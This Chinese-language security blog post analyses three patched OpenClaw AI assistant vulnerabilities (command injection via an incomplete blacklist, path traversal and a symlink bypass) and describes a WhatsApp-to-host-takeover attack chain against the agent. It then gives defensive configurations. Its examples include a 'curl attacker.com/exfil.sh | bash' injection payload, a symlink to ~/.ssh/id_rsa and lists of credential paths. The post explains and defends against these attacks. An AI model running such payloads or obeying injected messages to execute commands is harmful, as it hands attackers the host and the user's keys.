网络安全领域深耕几十年,每日分享当下最新网络安全事件,喜欢的朋友可以点点关注~
研究员公开 OpenClaw AI 个人助手三个已修补漏洞的完整攻击链:GHSA-hjr6-g723-hmfm(CVSS 8.8,OS 命令注入 + 不完整黑名单)、GHSA-9969-8g9h-rxwm(CVSS 8.8,同上,不同向量)、GHSA-575v-8hfq-m3mc(CVSS 8.4,路径遍历 + 符号链接绕过)。攻击链:WhatsApp 发一条消息 → OpenClaw 处理用户输入 → 命令注入 → 主机凭证窃取 → 权限提升 → 任意代码执行。补丁已出,但攻击面揭示了 AI 个人助手的新型风险:消息平台 = 远程攻击入口。
OpenClaw 是你电脑上最强大的工具——也是攻击者最想控制的入口。一旦突破,你的 AI 助手就是攻击者的远程控制终端。WhatsApp、Telegram、飞书……每一个消息渠道,都是一个潜在的攻击向量。
OpenClaw 的架构决定了它的攻击面
OpenClaw 是什么?
OpenClaw(原名 Clawdbot、Moltbot)是一个本地优先(Local-First)的个人 AI 助手,核心能力包括:
- 多渠道消息接入
:WhatsApp、Telegram、Signal、iMessage、Discord、Slack、Microsoft Teams、飞书、企业微信、钉钉等 15+ 平台 - AI Agent 执行
:基于 Claude、GPT、Gemini 等模型执行任务 - 工具系统
:浏览器控制、文件操作、邮件处理、命令行执行、设备控制(摄像头、屏幕录制、通知读取) - 定时任务
:Cron 调度,24/7 运行 - 技能扩展
:插件化的 Skills 系统
为什么 OpenClaw 的攻击面比传统聊天机器人危险 100 倍?
传统 AI 聊天机器人(如 ChatGPT Web):
用户输入 → 云端服务器 → 文本响应
[攻击面] 只有账户劫持 + 数据泄露
OpenClaw 个人助手:
用户输入 → Gateway(本地) → Agent(本地) → 工具系统(本地)
↓
[工具系统可以执行]
- 读写文件系统
- 执行 shell 命令
- 控制浏览器(自动化登录、截图)
- 访问摄像头、麦克风
- 读取剪贴板、通知
- 管理进程、网络连接
[攻击面]
- 账户劫持 → 完全控制用户主机
- 命令注入 → 直接获得 shell
- 路径遍历 → 读取任意文件
- 消息平台劫持 → 远程控制入口
OpenClaw 的本质是一个暴露在消息平台上的"超级用户终端"——它有权限做任何你能做的事情,而攻击者只需要找到让它执行恶意命令的方法。
三个漏洞的技术分析
漏洞 1 & 2:OS 命令注入 + 不完整黑名单
GHSA-hjr6-g723-hmfm(CVSS 8.8) GHSA-9969-8g9h-rxwm(CVSS 8.8)
漏洞原理
OpenClaw 的工具系统允许 Agent 执行 shell 命令(通过 exec 工具)。为了防止恶意命令执行,OpenClaw 实现了一个命令黑名单,过滤危险命令(如 rm、sudo、chmod、curl 等)。
但黑名单有两个致命问题:
问题1:黑名单不完整
→ 攻击者可以用未被过滤的命令实现相同效果
→ 例如:用 `busybox` 替代 `rm`,用 `wget` 替代 `curl`
问题2:命令注入点
→ 用户输入被拼接到命令字符串中
→ 攻击者可以通过特殊字符(;、|、`、$())注入任意命令
攻击示例
# 假设 OpenClaw 执行的命令模板为:
cmd = f"echo {user_input} >> /tmp/output.txt"
# 攻击者输入:
user_input = "hello; curl https://attacker.com/exfil.sh | bash"
# 实际执行的命令:
echo hello; curl https://attacker.com/exfil.sh | bash >> /tmp/output.txt
# 结果:
# 1. echo hello 正常执行
# 2. curl 下载恶意脚本并执行
# 黑名单只检查了原始命令,没有检查注入的命令链
CVSS 8.8 的含义
- 攻击向量(AV)
:Network(通过网络,即消息平台) - 攻击复杂度(AC)
:Low(无需特殊条件) - 权限要求(PR)
:None(无需认证,只需要能发消息给 OpenClaw) - 用户交互(UI)
:None(无需用户操作) - 影响范围
:完全控制主机
漏洞 3:路径遍历 + 符号链接绕过
GHSA-575v-8hfq-m3mc(CVSS 8.4)
漏洞原理
OpenClaw 的文件操作工具(如 read、write、edit)允许 Agent 读写文件。为了防止任意文件访问,OpenClaw 限制只能访问工作目录(workspace)下的文件。
但路径校验有两个漏洞:
漏洞1:路径遍历(Path Traversal)
→ 用户输入包含 ../,可以跳出工作目录
→ 例如:../../etc/passwd
漏洞2:符号链接绕过(Symlink Bypass)
→ 即使路径校验阻止了 ../,攻击者可以在工作目录内创建符号链接
→ 符号链接指向敏感文件(如 ~/.ssh/id_rsa)
→ OpenClaw 读取符号链接时,实际读取的是目标文件
攻击示例
# 攻击者在工作目录创建符号链接:
ln -s ~/.ssh/id_rsa workspace/fake.txt
# 然后请求 OpenClaw 读取:
read("workspace/fake.txt")
# OpenClaw 校验路径:workspace/fake.txt 在工作目录内,允许
# 实际读取:~/.ssh/id_rsa(SSH 私钥)
CVSS 8.4 的含义
比 8.8 稍低,因为路径遍历需要先有文件操作能力 但一旦成功,可以窃取: SSH 私钥(~/.ssh/id_rsa) 云服务凭证(~/.aws/credentials、~/.config/gcloud) Git 配置(~/.gitconfig、.git-credentials) 浏览器存储的密码、Cookie
完整攻击链:从 WhatsApp 到主机沦陷
攻击流程
[阶段1:初始访问]
攻击者通过 WhatsApp / Telegram / 飞书 发送恶意消息给受害者的 OpenClaw
↓ 消息内容包含精心构造的命令注入 payload
[阶段2:命令注入]
OpenClaw 的 Agent 处理消息,调用 exec 工具执行命令
↓ 命令注入绕过黑名单,执行攻击者的命令
→ 在受害者主机上部署反向 shell
[阶段3:凭证窃取]
通过路径遍历 + 符号链接绕过读取敏感文件:
→ ~/.ssh/id_rsa(SSH 私钥)
→ ~/.aws/credentials(AWS 凭证)
→ ~/.config/gcloud(GCP 凭证)
→ 浏览器存储的密码数据库
[阶段4:权限提升]
利用窃取的凭证:
→ SSH 登录到其他服务器
→ 访问云服务(AWS、GCP、Azure)
→ 获取更高权限
[阶段5:持久化与横向移动]
在受害者网络内横向移动,部署后门
→ OpenClaw 本身就是持久化入口(24/7 运行)
为什么这条攻击链特别危险?
- 消息平台即攻击入口
:传统攻击需要钓鱼邮件或漏洞利用,现在只需要发一条 WhatsApp 消息 - 无需用户交互
:OpenClaw 自动处理消息,用户不需要点击任何东西 - 隐蔽性极高
:攻击者的消息看起来像正常的用户请求,日志中难以识别 - 完全绕过防火墙
:消息通过 WhatsApp/Telegram 服务器中转,企业防火墙无法拦截
AI 助手的本质风险:消息平台 = 远程控制终端
传统软件 vs AI 助手
| 攻击入口 | ||
| 权限范围 | ||
| 用户交互 | ||
| 持久化 | ||
| 隐蔽性 |
AI Agent 的"能力溢出"问题
OpenClaw 的设计理念是"让 AI 助手能做任何用户能做的事"——这本身就是最大的风险。
用户的真实需求:
"帮我整理一下 download 文件夹"
AI Agent 需要的能力:
- 列出文件列表
- 移动/重命名文件
- 识别文件类型
如果实现不当,Agent 可能获得的能力:
- 删除任意文件
- 执行 shell 命令
- 读取敏感配置文件
能力溢出:Agent 为了完成任务获得了超出实际需要的权限,而攻击者只需要找到一个注入点就能滥用这些权限。
防御建议
① 认证层:限制谁可以与 OpenClaw 交互
# 在 OpenClaw 配置中启用消息发送者验证:
# ~/.openclaw/openclaw.json
{
"gateway": {
"allowedSenders": [
"+1234567890", // 只允许这个 WhatsApp 号码
"user@company.com" // 只允许这个飞书用户
],
"rejectUnknownSenders": true
}
}
# 这样,即使攻击者知道你的 WhatsApp 号码,也无法发送消息给 OpenClaw
亚信安全零信任访问控制 可对接企业的消息平台认证系统,对 OpenClaw 的消息来源进行白名单管理,阻止未授权用户与 AI 助手交互。
② 执行层:命令执行沙箱化
# 不要让 OpenClaw 直接执行 shell 命令
# 而是通过沙箱或受限环境执行:
# 方案1:使用容器化部署
# OpenClaw 在 Docker 容器中运行,与主机隔离
docker run -d --name openclaw \
--cap-drop=ALL \ # 移除所有不必要的权限
--read-only \ # 文件系统只读
-v /tmp/openclaw-workspace:/workspace \ # 只挂载工作目录
openclaw/openclaw:latest
# 方案2:使用 seccomp/AppArmor 限制系统调用
# 阻止危险的系统调用(如 execve、fork)
Trellix 终端安全 提供应用控制(Application Control)能力,可对 OpenClaw 进程的命令执行行为进行实时监控和策略限制,即使发生命令注入,也能阻止危险命令的执行。
③ 文件系统层:强制访问控制
# 使用 Linux 的 AppArmor 或 SELinux 限制 OpenClaw 的文件访问范围:
# AppArmor 配置示例(/etc/apparmor.d/openclaw)
/home/user/.openclaw/workspace/** rw,
deny /home/user/.ssh/** r,
deny /home/user/.aws/** r,
deny /home/user/.config/gcloud/** r,
# 这样,即使路径遍历漏洞被利用,OpenClaw 也无法读取敏感文件
弘积科技数据安全平台 提供文件访问审计和强制访问控制,可对 OpenClaw 进程的文件访问行为进行实时监控,并在检测到异常访问(如读取 SSH 私钥、云服务凭证)时自动阻断。
④ 消息验证层:输入净化与命令白名单
# 在 OpenClaw 的工具系统中实现:
# 1. 严格的输入校验(拒绝所有特殊字符:;、|、`、$())
# 2. 命令白名单(只允许预定义的安全命令)
# 3. 路径规范化(解析所有 ../ 和符号链接后再校验)
# 示例配置(假设 OpenClaw 支持自定义工具策略):
{
"tools": {
"exec": {
"allowedCommands": ["ls", "cat", "echo", "mkdir"],
"allowAnyCommand": false
},
"read": {
"allowedPaths": ["workspace/"],
"resolveSymlinks": true,
"denyTraversal": true
}
}
}
⑤ 监控层:异常行为检测
# 监控 OpenClaw 的以下异常行为:
# 1. 进程异常启动新进程(不应该频繁 spawn 子进程)
# 2. 文件访问异常(读取 ~/.ssh/、~/.aws/ 等敏感目录)
# 3. 网络连接异常(反向 shell、数据外泄)
# 4. 命令执行异常(执行了非预期的命令)
# 使用 EDR 的行为分析能力检测
亚信安全终端检测与响应(EDR) 可对 OpenClaw 进程的行为进行实时监控,识别异常的命令执行、文件访问和网络连接行为,并在检测到攻击链时自动阻断。
OpenClaw 的三个漏洞揭示了 AI 个人助手的本质风险:
当 AI Agent 拥有执行能力时,它就不再只是一个聊天工具——它是一个暴露在消息平台上的远程控制终端。
攻击者不需要:
绕过防火墙 钓鱼欺骗用户点击链接 利用复杂的漏洞链
只需要发一条消息。
这是传统软件安全模型没有考虑过的攻击面——消息平台从"通信渠道"变成了"远程控制入口"。
而 OpenClaw 不是唯一一个有这种风险的产品。所有具备以下特征的 AI 助手都面临相同问题:
消息平台接入(WhatsApp、Telegram、飞书、Slack 等) Agent 执行能力(命令执行、文件操作、浏览器控制) 24/7 运行
补丁已经发布,但架构性风险不会因为修复几个漏洞而消失。AI 助手的能力边界、权限模型、消息验证机制,需要从根本上重新设计。
🎯 OpenClaw 的三个漏洞不只是"修好了就安全了"的问题——它们揭示了 AI 个人助手的本质:消息平台 + 执行能力 = 远程控制终端。 攻击者只需要发一条 WhatsApp 消息,就能通过命令注入和路径遍历窃取你的 SSH 私钥、云服务凭证,最终完全控制你的主机。这不是漏洞,这是架构性风险——AI 助手的能力边界必须被严格限制,消息平台的攻击面必须被重新评估。
立即行动:配置发送者白名单 → 容器化部署 OpenClaw → 启用文件访问强制控制 → 部署 EDR 行为监控 → 升级到最新版本。
网络安全领域深耕几十年,每日分享当下最新网络安全事件,喜欢的朋友可以点点关注~
夜雨聆风